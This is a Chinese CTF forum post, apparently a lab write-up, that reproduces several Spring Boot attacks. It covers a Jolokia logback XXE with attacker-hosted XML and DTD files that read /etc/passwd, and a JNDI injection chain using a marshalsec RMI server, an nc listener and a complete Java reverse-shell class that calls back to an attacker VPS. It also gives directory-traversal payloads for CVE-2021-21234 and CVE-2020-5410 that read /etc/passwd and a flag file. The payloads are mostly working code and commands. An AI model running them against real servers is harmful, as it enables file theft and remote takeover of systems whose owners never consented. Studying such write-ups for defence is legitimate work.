Spring 漏洞复现

Track-mss   ·   发表于 2021-08-24 19:28:12   ·   CTF&WP专版

0x01 Spring Boot配置不当之XXE

如果网站存在reloadByURL模块,则可以从外部URL重新加载日志记录配置:
http://[靶场地址]/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1!/logback.xml

其中127.0.0.1可改为你vps的ip,当然你也要在web根目录下创建logback.xml文件,内容如下:

  1. <?xml version="1.0" encoding="utf-8" ?>
  2. <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://127.0.0.1:80/file.dtd">%remote;%int;]>
  3. <a>&trick;</a>

了解xxe漏洞的懂哥应该知道,还要创建实体内定义的外部实体文件file.dtd,同样放在web根目录。内容如下:

  1. <!ENTITY % d SYSTEM "file:///etc/passwd">
  2. <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

因为我已在本地放置了这两个文件,所以用的是localhost(即 127.0.0.1)。有vps的同学最好用vps测试。最后访问上方的网址,触发xxe漏洞:

可见已返回了/etc/passwd/中的敏感信息。

0x02 spring boot配置不当之RCE

重点:此漏洞仅在目标机器jdk版本低于v1.8_191可复现(靶场为8u181)

复现过程主要参考零组文库,首先在自己的vps的当前目录(test)上用python3开启web服务

在目录下创建java文件,并编译得到class文件。JNDIObject.java文件内容在下方给出。

编译语句:javac -source 1.5 -target 1.5 JNDIObject.java

架设恶意 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps:8080/#JNDIObject 1389

监听端口,nc -lvp 443

最后执行exp,即访问该poc(需要更换自己vps的ip):

  1. https://【靶场url】/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/logback.xml

很快就能收到shell:

若出现以下报错,是jdk版本过高的原因。可切换或安装1.8版本的jdk:

JNDIObject.java(请自行修改代码中反弹shell的ip和端口)文件内容:

  1. /**
  2. * javac -source 1.5 -target 1.5 JNDIObject.java
  3. *
  4. * Build By LandGrey
  5. * */
  6. import java.io.File;
  7. import java.io.InputStream;
  8. import java.io.OutputStream;
  9. import java.net.Socket;
  10. public class JNDIObject {
  11. static {
  12. try{
  13. String ip = "your-vps-ip";
  14. String port = "443";
  15. String py_path = null;
  16. String[] cmd;
  17. if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
  18. String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
  19. for(int i = 0; i < py_envs.length; ++i) {
  20. String py = py_envs[i];
  21. if ((new File(py)).exists()) {
  22. py_path = py;
  23. break;
  24. }
  25. }
  26. if (py_path != null) {
  27. if ((new File("/bin/bash")).exists()) {
  28. cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
  29. } else {
  30. cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
  31. }
  32. } else {
  33. if ((new File("/bin/bash")).exists()) {
  34. cmd = new String[]{"/bin/bash"};
  35. } else {
  36. cmd = new String[]{"/bin/sh"};
  37. }
  38. }
  39. } else {
  40. cmd = new String[]{"cmd.exe"};
  41. }
  42. Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
  43. Socket s = new Socket(ip, Integer.parseInt(port));
  44. InputStream pi = p.getInputStream();
  45. InputStream pe = p.getErrorStream();
  46. InputStream si = s.getInputStream();
  47. OutputStream po = p.getOutputStream();
  48. OutputStream so = s.getOutputStream();
  49. while(!s.isClosed()) {
  50. while(pi.available() > 0) {
  51. so.write(pi.read());
  52. }
  53. while(pe.available() > 0) {
  54. so.write(pe.read());
  55. }
  56. while(si.available() > 0) {
  57. po.write(si.read());
  58. }
  59. so.flush();
  60. po.flush();
  61. Thread.sleep(50L);
  62. try {
  63. p.exitValue();
  64. break;
  65. } catch (Exception e) {
  66. }
  67. }
  68. p.destroy();
  69. s.close();
  70. }catch (Throwable e){
  71. e.printStackTrace();
  72. }
  73. }
  74. }

0X03 spring-boot-actuator-logview 文件包含(CVE-2021-21234)

0x01 简介

Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。通过这种方式,Spring Boot致力于在蓬勃发展的快速应用开发领域(rapid application development)成为领导者。

0x02 漏洞概述

spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。它是 maven 包“eu.hinsch:spring-boot-actuator-logview”。在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。该库的本质是通过 admin(spring boot 执行器)HTTP 端点公开日志文件目录。要查看的文件名和基本文件夹(相对于日志文件夹根目录)都可以通过请求参数指定。虽然检查了文件名参数以防止目录遍历攻击(因此filename=../somefile 将不起作用),但没有充分检查基本文件夹参数,因此filename=somefile&base=../ 可以访问日志记录基目录之外的文件)。该漏洞已在 0.2.13 版中修补。0.2.12 的任何用户都应该能够毫无问题地进行更新,因为该版本中没有其他更改。除了更新或删除依赖项之外,没有解决此漏洞的方法。但是,删除运行应用程序的用户对运行应用程序不需要的任何目录的读取访问权限可以限制影响。此外,可以通过在反向代理后面部署应用程序来限制对 logview 端点的访问。

0x03 影响版本

0.2.13 版本之前的 Spring Boot Actuator Log View

0x04 复现

只需要访问:目标/manage/log/view?filename=文件名&base=../

0x04 spring cloud config server目录遍历漏洞 CVE-2020-5410

打开网站,使用poc完成文件读取:

  1. curl "127.0.0.1/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"

如图:

读flag的poc:

  1. http://[靶场url]/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fflag.txt%23foo/development%22

打赏我,让我更有动力~

1 条回复   |  直到 2022-5-5 | 1815 次浏览

常长老
发表于 2022-5-5

第一个XXE复现不了

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.